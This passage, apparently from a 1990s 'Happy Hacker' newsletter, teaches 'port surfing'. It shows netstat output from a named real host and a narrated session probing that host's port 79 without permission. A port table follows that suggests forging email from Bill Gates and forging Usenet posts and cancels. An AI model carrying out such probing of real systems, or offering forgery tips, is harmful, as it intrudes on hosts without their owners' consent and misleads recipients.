---- --- ------- -------------- ----- ----- ----- ----- ------
se0 1500 129.121.0 GRANDE.NM.ORG 68422948 0 53492833 1 0
lo0 4136 127.0.0 127.0.0.1 1188191 0 1188191 0 0
MultiNet Protocol statistics:
65264173 IP packets received
22 IP packets smaller than minimum size

6928 IP fragments received
4 IP fragments timed out
34 IP received for unreachable destinations
704140 ICMP error packets generated
9667 ICMP opcodes out of range
4170 Bad ICMP packet checksums
734363 ICMP responses
734363 ICMP "Echo" packets received
734363 ICMP "Echo Reply" packets sent
18339 ICMP "Echo Reply" packets received
704140 ICMP "Destination Unreachable" packets sent
451243 ICMP "Destination Unreachable" packets received
1488 ICMP "Source Quench" packets received
163911 ICMP "ReDirect" packets received
189732 ICMP "Time Exceeded" packets received
126966 TCP connections initiated
233998 TCP connections established
132611 TCP connections accepted
67972 TCP connections dropped
28182 embryonic TCP connections dropped
269399 TCP connections closed
10711838 TCP segments timed for RTT
10505140 TCP segments updated RTT
3927264 TCP delayed ACKs sent
666 TCP connections dropped due to retransmit timeouts
111040 TCP retransmit timeouts
3136 TCP persist timeouts
9 TCP persist connection drops
16850 TCP keepalive timeouts
1195 TCP keepalive probes sent
14392 TCP connections dropped due to keepalive timeouts
28842663 TCP packets sent
12714484 TCP data packets sent
1206060086 TCP data bytes sent
58321 TCP data packets retransmitted
22144036 TCP data bytes retransmitted
6802199 TCP ACK-only packets sent
1502 TCP window probes sent
483 TCP URG-only packets sent
8906175 TCP Window-Update-only packets sent
359509 TCP control packets sent
38675084 TCP packets received
28399363 TCP packets received in sequence
1929418386 TCP bytes received in sequence
25207 TCP packets with checksum errors
273374 TCP packets were duplicates
230525708 TCP bytes were duplicates
3748 TCP packets had some duplicate bytes
493214 TCP bytes were partial duplicates
2317156 TCP packets were out of order
3151204672 TCP bytes were out of order
1915 TCP packets had data after window
865443 TCP bytes were after window
5804 TCP packets for already closed connection
941 TCP packets were window probes
10847459 TCP packets had ACKs
222657 TCP packets had duplicate ACKs
1 TCP packet ACKed unsent data
1200274739 TCP bytes ACKed
141545 TCP packets had window updates
13 TCP segments dropped due to PAWS
4658158 TCP segments were predicted pure-ACKs

24033756 TCP segments were predicted pure-data
8087980 TCP PCB cache misses
305 Bad UDP header checksums
17 Bad UDP data length fields
23772272 UDP PCB cache misses
MultiNet Buffer Statistics:
388 out of 608 buffers in use:
30 buffers allocated to Data.
10 buffers allocated to Packet Headers.
66 buffers allocated to Socket Structures.
57 buffers allocated to Protocol Control Blocks.
163 buffers allocated to Routing Table Entries.
2 buffers allocated to Socket Names and Addresses.
48 buffers allocated to Kernel Fork-Processes.
2 buffers allocated to Interface Addresses.
1 buffer allocated to Multicast Addresses.
1 buffer allocated to Timeout Callbacks.
6 buffers allocated to Memory Management.
2 buffers allocated to Network TTY Control Blocks.
11 out of 43 page clusters in use.
11 CXBs borrowed from VMS device drivers
2 CXBs waiting to return to the VMS device drivers
162 Kbytes allocated to MultiNet buffers (44% in use).
226 Kbytes of allocated buffer address space (0% of maximum).
Connection closed by foreign host.
<slug> [68] ->
Whoa! What was all that?
What we did was telnet to port 15 -- the netstat port-- which on some computers runs a daemon that tells anybody who cares to drop in just about everything about the connection made by all the computers linked to the Internet through this computer.
So from this we learned two things:
1) Grande.nm.org is a very busy and important computer.
2) Even a very busy and important computer can let the random port surfer come and play.
So my lady friend wanted to try out another port. I suggested the finger port, number 79. So she gave the command:
<slug> [68] ->telnet grande.nm.org 79
Trying 129.121.1.2 ...
Connected to grande.nm.org.
Escape character is '^]'.
finger
?Sorry, could not find "FINGER"
Connection closed by foreign host.
<slug> [69] ->telnet grande.nm.org 79
Trying 129.121.1.2 ...
Connected to grande.nm.org.
Escape character is '^]'.
help
?Sorry, could not find "HELP"
Connection closed by foreign host.
<slug> [69] ->telnet grande.nm.org 79
Trying 129.121.1.2 ...
Connected to grande.nm.org.
Escape character is '^]'.
?
?Sorry, could not find "?"
Connection closed by foreign host.
<slug> [69] ->telnet grande.nm.org 79
Trying 129.121.1.2 ...
Connected to grande.nm.org.
Escape character is '^]'.
man
?Sorry, could not find "MAN"

Connection closed by foreign host.
<slug> [69] ->
At first this looks like just a bunch of failed commands. But actually this is pretty fascinating. The reason is that port 79 is, under IETF rules, supposed to run fingerd, the finger daemon. So when she gave the command “finger” and grande.nm.org said ?Sorry, could not find "FINGER,” we knew this port was not following IETF rules.
Now on may computers they don’t run the finger daemon at all. This is because finger has so properties that can be used to gain total control of the computer that runs it.
But if finger is shut down, and nothing else is running on port 79, we woudl get the answer: telnet: connect: Connection refused.
But instead we got connected and grande.nm.org was waiting for a command.
Now the normal thing a port surfer does when running an unfmiliar daemon is to coax it into revealing what commands it uses. “Help,” “?” and “man” often work. But it didn’t help us.
But even though these commands didn’t help us, they did tell us that the daemon is probably something sensitive. If it were a daemon that was meant for anybody and his brother to use, it would have given us instructions.
So what did we do next? We decided to be good Internet citizens and also stay out of jail We decided we’d beter log off.
But there was one hack we decided to do first: leave our mark on the shell log file.
The shell log file keeps a record of all operating system commands made on a computer. The adminsitrator of an obviously important computer such as grande.nm.org is probably competent enough to scan the records of what commands are given by whom to his computer. Especially on a port important enough to be running a mystery, non-IETF daemon. So everything we types while connected was saved on a log.
So my friend giggled with glee and left a few messages on port 79 before logging off. Oh, dear, I do believe she’s hooked on hacking. Hmmm, it could be a good way to meet cute sysadmins...
So, port surf’s up! If you want to surf, here’s the basics:
1) Get logged on to a shell account. That’s an account with your ISP that lets you give Unix commands. Or -- run Linux or some other kind of Unix on your PC and hook up to the Internet.
2) Give the command “telnet <hostname> <pot number>“ where <hostname> is the internet address of the computer you wnat to visit and <port number> is whatever looks phun to you.
3) If you get the response “connected to <hostname>,” then surf’s up!
Following are some of my favorite ports. It is legal and harmless to pay them visits so long as you don’t figure out how to gain superuser status while playing with them. However, please note that if you do too much port surfing from your shell account, your sysadmin may notice this in his or her shell log file. If he or she is prejudiced against hacking , you may get kicked off your ISP. So you may want to explain in advance that you are merely a harmless hacker looking to have a good time, er, um, learn about Unix. Yeh, that sounds good...
Port number Service Why it’s phun!
7 echo Whatever you type in, the host repeats back to you, used for ping
9 discard Dev/null -- how fast can you figure out this one?
11 systat Lots of info on users
13 daytime Time and date at computer’s location
15 netstat Tremendous info on networks but rarely used any more
19 chargen Pours out a stream of ASCII characters. Use ^C to stop.
21 ftp Transfers files
22 ssh secure shell login -- encrypted tunnel
23 telnet Where you log in if you don’t use ssh:)
25 smpt Forge email from Bill.Gates@Microsoft.org.
37 time Time
39 rlp Resource location
43 whois Info on hosts and networks
53 domain Nameserver
70 gopher Out-of-date info hunter
79 finger Lots of info on users
80 http Web server
110 pop Incoming email
119 nntp Usenet news groups -- forge posts, cancels
443 shttp Another web server
512 biff Mail notification
513 rlogin Remote login

who Remote who and uptime
514 shell Remote command, no password used!
syslog Remote system logging -- how we bust hackers
520 route Routing information protocol
****
Propeller head tip: Note that in most cases an Internet host will use these port number assignments for these services. More than one service may also be assigned simultaneously to the same port. This numbering system is voluntarily offered by the Internet Engineering Task Force (IETF). That means that an Internet host may use other ports for these services. Expect the unexpected!
If you have a copy of Linux, you can get the list of all the IETF assignments of port numbers in the file /etc/services.
****

To subscribe to the Happy Hacker list, email hacker@techbroker.com with messge “subscribe hh.” Send me confidential email (please, no discussions of illegal activities) use cmeinel@techbroker.com. Please direct flames to dev/null@techbroker.com. Happy hacking!
